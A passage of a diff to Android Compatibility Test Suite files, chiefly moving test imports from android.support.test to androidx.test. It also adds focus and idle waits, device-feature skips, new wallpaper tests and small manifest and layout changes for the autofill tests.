         WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
                 WAIT_TIME);
 
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+
         try {
             // Start the heavy-weight app, should launch like a normal app.
             mContext.startActivity(activityIntent);
+            waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
+            device.waitForIdle();
 
             // Wait for process state to reflect running activity.
             uidForegroundListener.waitForValue(
@@ -1178,6 +1186,7 @@
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
 
             waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
+            device.waitForIdle();
 
             // Exit activity, check to see if we are now cached.
             getInstrumentation().getUiAutomation().performGlobalAction(
@@ -1256,6 +1265,8 @@
         try {
             // Start the first heavy-weight app, should launch like a normal app.
             mContext.startActivity(activity1Intent);
+            waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
+            device.waitForIdle();
 
             // Make sure the uid state reports are as expected.
             uid1Watcher.waitFor(WatchUidRunner.CMD_ACTIVE, null);
@@ -1274,6 +1285,7 @@
 
             // First, let's try returning to the original app.
             maybeClick(device, new UiSelector().resourceId("android:id/switch_old"));
+            waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
 
             // App should now be back in foreground.
@@ -1290,6 +1302,7 @@
 
             // Now we'll switch to the new app.
             maybeClick(device, new UiSelector().resourceId("android:id/switch_new"));
+            waitForAppFocus(CANT_SAVE_STATE_2_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
 
             // The original app should now become cached.
@@ -1313,6 +1326,7 @@
             // Try starting the first heavy weight app, but return to the existing second.
             startActivityAndWaitForShow(activity1Intent);
             maybeClick(device, new UiSelector().resourceId("android:id/switch_old"));
+            waitForAppFocus(CANT_SAVE_STATE_2_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
             uid2Watcher.waitFor(WatchUidRunner.CMD_UNCACHED, null);
             uid2Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
@@ -1325,6 +1339,7 @@
             // Again start the first heavy weight app, this time actually switching to it
             startActivityAndWaitForShow(activity1Intent);
             maybeClick(device, new UiSelector().resourceId("android:id/switch_new"));
+            waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
 
             // The second app should now become cached.
@@ -1337,6 +1352,7 @@
 
             // Exit activity, check to see if we are now cached.
             waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
+            device.waitForIdle();
             getInstrumentation().getUiAutomation().performGlobalAction(
                     AccessibilityService.GLOBAL_ACTION_BACK);
             uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index be30de1..747c52e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -437,11 +437,13 @@
      * lifetime tests.
      */
     private void launchHome() throws Exception {
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.addCategory(Intent.CATEGORY_HOME);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-        Thread.sleep(WAIT_TIME);
+        if (!noHomeScreen()) {
+            Intent intent = new Intent(Intent.ACTION_MAIN);
+            intent.addCategory(Intent.CATEGORY_HOME);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+            Thread.sleep(WAIT_TIME);
+        }
     }
 
    /**
diff --git a/tests/app/src/android/app/cts/AlertDialogTest.java b/tests/app/src/android/app/cts/AlertDialogTest.java
index 8eb215b..5c6a505 100644
--- a/tests/app/src/android/app/cts/AlertDialogTest.java
+++ b/tests/app/src/android/app/cts/AlertDialogTest.java
@@ -16,31 +16,31 @@
 
 package android.app.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.app.AlertDialog;
 import android.app.Instrumentation;
 import android.app.stubs.DialogStubActivity;
+import android.app.stubs.R;
 import android.content.DialogInterface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.widget.Button;
 
-import com.android.compatibility.common.util.PollingCheck;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
-import android.app.stubs.R;
+import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertNotNull;
-
 /*
  * Test AlertDialog
  */
diff --git a/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java b/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
index f18ffd4..75017c1 100644
--- a/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
+++ b/tests/app/src/android/app/cts/AlertDialog_BuilderCursorTest.java
@@ -16,6 +16,8 @@
 
 package android.app.cts;
 
+import static org.mockito.Mockito.*;
+
 import android.app.AlertDialog;
 import android.app.AlertDialog.Builder;
 import android.app.Instrumentation;
@@ -28,17 +30,16 @@
 import android.database.Cursor;
 import android.database.sqlite.SQLiteCursor;
 import android.database.sqlite.SQLiteDatabase;
-import android.support.test.InstrumentationRegistry;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.widget.ListView;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import java.io.File;
 
-import static org.mockito.Mockito.*;
-
 @MediumTest
 public class AlertDialog_BuilderCursorTest
         extends ActivityInstrumentationTestCase2<DialogStubActivity> {
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index b2749c7..abb99b9 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -15,10 +15,19 @@
  */
 package android.app.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.app.Dialog;
 import android.app.Instrumentation;
 import android.app.stubs.DialogStubActivity;
 import android.app.stubs.OrientationTestUtils;
+import android.app.stubs.R;
 import android.app.stubs.TestDialog;
 import android.content.Context;
 import android.content.DialogInterface;
@@ -38,10 +47,6 @@
 import android.os.Looper;
 import android.os.Message;
 import android.os.SystemClock;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.InputDevice;
 import android.view.KeyEvent;
 import android.view.LayoutInflater;
@@ -52,7 +57,10 @@
 import android.view.WindowManager;
 import android.widget.LinearLayout;
 
-import android.app.stubs.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
 
@@ -61,14 +69,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
 import java.lang.ref.WeakReference;
 
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index f845bb7..4bb6c40 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -22,6 +22,7 @@
 import android.graphics.Point;
 import android.test.ActivityInstrumentationTestCase2;
 import android.view.Display;
+import static com.android.compatibility.common.util.PackageUtil.supportsRotation;
 
 /**
  * Tests to verify functionality of {@link Display}.
@@ -48,6 +49,11 @@
      * updated adjustments after a rotation.
      */
     public void testRotation() throws Throwable {
+        if (!supportsRotation()) {
+            // Skip rotation test if device doesn't support it.
+            return;
+        }
+
         // Get a {@link Display} instance before rotation.
         final Display origDisplay = mActivity.getDisplay();
 
diff --git a/tests/app/src/android/app/cts/FragmentTransactionTest.java b/tests/app/src/android/app/cts/FragmentTransactionTest.java
index 019abad..11d3ed1 100644
--- a/tests/app/src/android/app/cts/FragmentTransactionTest.java
+++ b/tests/app/src/android/app/cts/FragmentTransactionTest.java
@@ -23,9 +23,10 @@
 import android.app.stubs.FragmentTestActivity;
 import android.app.stubs.R;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 3f61605..76e576a 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -51,10 +51,11 @@
 import android.provider.Telephony.Threads;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
-import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import junit.framework.Assert;
 
 import java.io.FileInputStream;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index d660040..6c25a2dc 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -27,11 +27,11 @@
 import android.app.stubs.LocalGrantedService;
 import android.app.stubs.LocalService;
 import android.app.stubs.NullService;
+import android.app.stubs.R;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
-import android.support.test.InstrumentationRegistry;
 import android.os.Binder;
 import android.os.Bundle;
 import android.os.IBinder;
@@ -41,7 +41,8 @@
 import android.service.notification.StatusBarNotification;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
-import android.app.stubs.R;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.IBinderParcelable;
 import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 40774c7..6d22063 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -43,6 +43,8 @@
 import android.telephony.TelephonyManager;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 import java.lang.reflect.Field;
 import java.util.ArrayList;
 import java.util.HashSet;
@@ -185,7 +187,20 @@
         assertFeature(manualPostProcessing,
                 PackageManager.FEATURE_CAMERA_CAPABILITY_MANUAL_POST_PROCESSING);
         assertFeature(raw, PackageManager.FEATURE_CAMERA_CAPABILITY_RAW);
-        assertFeature(motionTracking, PackageManager.FEATURE_CAMERA_AR);
+        if (!motionTracking) {
+          // FEATURE_CAMERA_AR requires the presence of
+          // CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_MOTION_TRACKING but
+          // MOTION_TRACKING does not require the presence of FEATURE_CAMERA_AR
+          //
+          // Logic table:
+          //    AR= F   T
+          // MT=F   Y   N
+          //   =T   Y   Y
+          //
+          // So only check the one disallowed condition: No motion tracking and FEATURE_CAMERA_AR is
+          // available
+          assertNotAvailable(PackageManager.FEATURE_CAMERA_AR);
+        }
     }
 
     private void checkFrontCamera() {
@@ -487,15 +502,14 @@
     }
 
     public void testUsbAccessory() {
-        // USB accessory mode is only a requirement for devices with USB ports supporting
-        // peripheral mode. As there is no public API to distinguish a device with only host
-        // mode support from having both peripheral and host support, the test may have
-        // false negatives.
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
-                !mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) &&
+                !mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED) &&
-                !mPackageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
+                !isAndroidEmulator() &&
+                !mPackageManager.hasSystemFeature(PackageManager.FEATURE_PC) &&
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) &&
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)) {
             // USB accessory mode is only a requirement for devices with USB ports supporting
             // peripheral mode. As there is no public API to distinguish a device with only host
             // mode support from having both peripheral and host support, the test may have
@@ -504,7 +518,7 @@
         }
     }
 
-  public void testWifiFeature() throws Exception {
+    public void testWifiFeature() throws Exception {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
             // no WiFi, skip the test
             return;
@@ -519,6 +533,13 @@
         }
     }
 
+    public void testAudioOutputFeature() throws Exception {
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) ||
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            assertAvailable(PackageManager.FEATURE_AUDIO_OUTPUT);
+        }
+    }
+
     private void assertAvailable(String feature) {
         assertTrue("PackageManager#hasSystemFeature should return true for " + feature,
                 mPackageManager.hasSystemFeature(feature));
@@ -543,6 +564,10 @@
         }
     }
 
+    private boolean isAndroidEmulator() {
+        return PropertyUtil.propertyEquals("ro.kernel.qemu", "1");
+    }
+
     private void assertFeature(boolean exist, String feature) {
         if (exist) {
             assertAvailable(feature);
diff --git a/tests/app/src/android/app/cts/TaskDescriptionTest.java b/tests/app/src/android/app/cts/TaskDescriptionTest.java
index 408930e..47c13b8 100644
--- a/tests/app/src/android/app/cts/TaskDescriptionTest.java
+++ b/tests/app/src/android/app/cts/TaskDescriptionTest.java
@@ -17,29 +17,29 @@
 package android.app.cts;
 
 import static android.content.Context.ACTIVITY_SERVICE;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
 
+import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.ActivityManager.RecentTaskInfo;
 import android.app.ActivityManager.TaskDescription;
+import android.app.stubs.MockActivity;
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.platform.test.annotations.Presubmit;
-import java.util.List;
-import org.junit.After;
-import org.junit.Before;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import android.app.Activity;
-import android.app.stubs.MockActivity;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import java.util.List;
 
 /**
  * Build: mmma -j32 cts/tests/app
diff --git a/tests/app/src/android/app/cts/TimePickerDialogTest.java b/tests/app/src/android/app/cts/TimePickerDialogTest.java
index 47a666c..f543c79 100644
--- a/tests/app/src/android/app/cts/TimePickerDialogTest.java
+++ b/tests/app/src/android/app/cts/TimePickerDialogTest.java
@@ -26,15 +26,17 @@
 import android.app.stubs.R;
 import android.content.Context;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.UiThreadTest;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.widget.TimePicker;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+
 /**
  * Test {@link TimePickerDialog}.
  */
diff --git a/tests/app/src/android/app/cts/WallpaperColorsTest.java b/tests/app/src/android/app/cts/WallpaperColorsTest.java
index 7b4c59e..a2fe4b3 100644
--- a/tests/app/src/android/app/cts/WallpaperColorsTest.java
+++ b/tests/app/src/android/app/cts/WallpaperColorsTest.java
@@ -20,14 +20,12 @@
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
-import android.graphics.Paint;
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Pair;
-import android.util.Size;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Assert;
 import org.junit.Test;
diff --git a/tests/app/src/android/app/cts/WallpaperInfoTest.java b/tests/app/src/android/app/cts/WallpaperInfoTest.java
index 1b30902..402be40 100644
--- a/tests/app/src/android/app/cts/WallpaperInfoTest.java
+++ b/tests/app/src/android/app/cts/WallpaperInfoTest.java
@@ -25,8 +25,9 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.service.wallpaper.WallpaperService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index e267503..a2a0e449 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -18,7 +18,6 @@
 
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.ArgumentMatchers.nullable;
 import static org.mockito.Mockito.atLeast;
 import static org.mockito.Mockito.mock;
@@ -28,6 +27,7 @@
 
 import android.app.WallpaperColors;
 import android.app.WallpaperManager;
+import android.app.stubs.R;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -39,20 +39,21 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.Display;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.MockitoAnnotations;
 
-import android.app.stubs.R;
-
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.concurrent.CountDownLatch;
@@ -100,6 +101,52 @@
     }
 
     @Test
+    public void setBitmapTest_1x1Pixel() {
+        ensureCleanState();
+
+        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(tmpWallpaper);
+        canvas.drawColor(Color.RED);
+
+        try {
+            int which = WallpaperManager.FLAG_SYSTEM;
+            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+            mWallpaperManager.suggestDesiredDimensions(tmpWallpaper.getWidth(),
+                    tmpWallpaper.getHeight());
+            mWallpaperManager.setBitmap(tmpWallpaper);
+            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } finally {
+            tmpWallpaper.recycle();
+        }
+    }
+
+    @Test
+    public void setBitmapTest_1x1Pixel_FullscreenDesired() {
+        ensureCleanState();
+
+        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(tmpWallpaper);
+        canvas.drawColor(Color.RED);
+
+        try {
+            int which = WallpaperManager.FLAG_SYSTEM;
+            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+            final Point displaySize = getScreenSize();
+            mWallpaperManager.suggestDesiredDimensions(displaySize.x, displaySize.y);
+            mWallpaperManager.setBitmap(tmpWallpaper);
+            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } finally {
+            tmpWallpaper.recycle();
+        }
+    }
+
+    @Test
     public void setResourceTest() {
         try {
             int which = WallpaperManager.FLAG_SYSTEM;
@@ -112,6 +159,7 @@
         }
     }
 
+    @CddTest(requirement="3.2.3.4/C-0-1")
     @Test
     public void wallpaperChangedBroadcastTest() {
         Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
@@ -226,33 +274,30 @@
      * Suggesting desired dimensions is only a hint to the system that can be ignored.
      *
      * Test if the desired minimum width or height the WallpaperManager returns
-     * is greater than 0. If so, then we check whether that the size is at least the
-     * as big as the screen.
+     * is greater than 0.
      */
     @Test
     public void suggestDesiredDimensionsTest() {
         final Point min = getScreenSize();
         final int w = min.x * 3;
         final int h = min.y * 2;
-        assertDesiredMinimum(new Point(min.x / 2, min.y / 2), min);
+        assertDesiredDimension(new Point(min.x / 2, min.y / 2), new Point(min.x / 2, min.y / 2));
 
-        assertDesiredMinimum(new Point(w, h), min);
+        assertDesiredDimension(new Point(w, h), new Point(w, h));
 
-        assertDesiredMinimum(new Point(min.x / 2, h), min);
+        assertDesiredDimension(new Point(min.x / 2, h), new Point(min.x / 2, h));
 
-        assertDesiredMinimum(new Point(w, min.y / 2), min);
+        assertDesiredDimension(new Point(w, min.y / 2), new Point(w, min.y / 2));
     }
 
-    private void assertDesiredMinimum(Point suggestedSize, Point minSize) {
+    private void assertDesiredDimension(Point suggestedSize, Point expectedSize) {
         mWallpaperManager.suggestDesiredDimensions(suggestedSize.x, suggestedSize.y);
         Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
                 mWallpaperManager.getDesiredMinimumHeight());
-        if (actualSize.x > 0 || actualSize.y > 0) {
-            if ((actualSize.x < minSize.x || actualSize.y < minSize.y)) {
-                throw new AssertionError("Expected at least x: " + minSize.x + " y: "
-                        + minSize.y + ", got x: " + actualSize.x +
-                        " y: " + actualSize.y);
-            }
+        if (actualSize.x <= 0 || actualSize.y <= 0) {
+            throw new AssertionError("Expected x: " + expectedSize.x + " y: "
+                    + expectedSize.y + ", got x: " + actualSize.x +
+                    " y: " + actualSize.y);
         }
     }
 
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index d8d1470..c372a38 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -16,7 +16,6 @@
 
 package android.app.cts.android.app.cts.tools;
 
-import android.Manifest;
 import android.app.ActivityManager;
 import android.app.Instrumentation;
 import android.content.Context;
@@ -26,7 +25,8 @@
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.RemoteException;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.SystemUtil;
 
diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
index 5d74e87..85598da 100644
--- a/tests/autofillservice/Android.mk
+++ b/tests/autofillservice/Android.mk
@@ -24,9 +24,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.annotation_annotation \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt \
     truth-prebuilt \
     ub-uiautomator \
     testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 5feaf8d46..428403d 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -23,12 +23,14 @@
     <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING"/>
     <uses-permission android:name="android.permission.INJECT_EVENTS" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
 
     <application>
 
         <uses-library android:name="android.test.runner" />
 
-        <activity android:name=".LoginActivity" >
+        <activity android:name=".LoginActivity"
+                  android:screenOrientation="portrait">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it maks easier to launch
                      this app during CTS development... -->
@@ -41,7 +43,7 @@
                   android:theme="@style/MyAutofilledHighlight"/>
         <activity android:name=".LoginWithStringsActivity" />
         <activity android:name=".WelcomeActivity" android:taskAffinity=".WelcomeActivity"/>
-        <activity android:name=".ViewAttributesTestActivity" />
+        <activity android:name=".ViewAttributesTestActivity" android:screenOrientation="portrait"/>
         <activity android:name=".AuthenticationActivity" />
         <activity android:name=".ManualAuthenticationActivity" />
         <activity android:name=".CheckoutActivity" android:taskAffinity=".CheckoutActivity"/>
@@ -142,7 +144,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for the AutoFill Framework APIs."
         android:targetPackage="android.autofillservice.cts" >
     </instrumentation>
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index 1707153..ee21a00 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -80,24 +80,28 @@
             android:id="@+id/clear"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Clear" />
 
         <Button
             android:id="@+id/save"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Save" />
 
         <Button
             android:id="@+id/login"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Login" />
 
         <Button
             android:id="@+id/cancel"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_weight="1"
             android:text="Cancel" />
     </LinearLayout>
 
@@ -106,4 +110,4 @@
         android:layout_width="match_parent"
         android:layout_height="wrap_content" />
 
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 577975f..7eb8bcf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -28,11 +28,12 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.widget.RemoteViews;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.RequiredFeatureRule;
 
 import org.junit.After;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
index 7e365932..9bc0bc6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
@@ -16,7 +16,8 @@
 package android.autofillservice.cts;
 
 import android.app.Activity;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.rule.ActivityTestRule;
 
 /**
  * Custom {@link ActivityTestRule}.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
index 805db4e..14e578a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
@@ -25,9 +25,10 @@
 import android.service.autofill.BatchUpdates;
 import android.service.autofill.InternalTransformation;
 import android.service.autofill.Transformation;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.RemoteViews;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
index accf6d9b..6d839b0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
@@ -28,10 +28,11 @@
 import android.platform.test.annotations.AppModeFull;
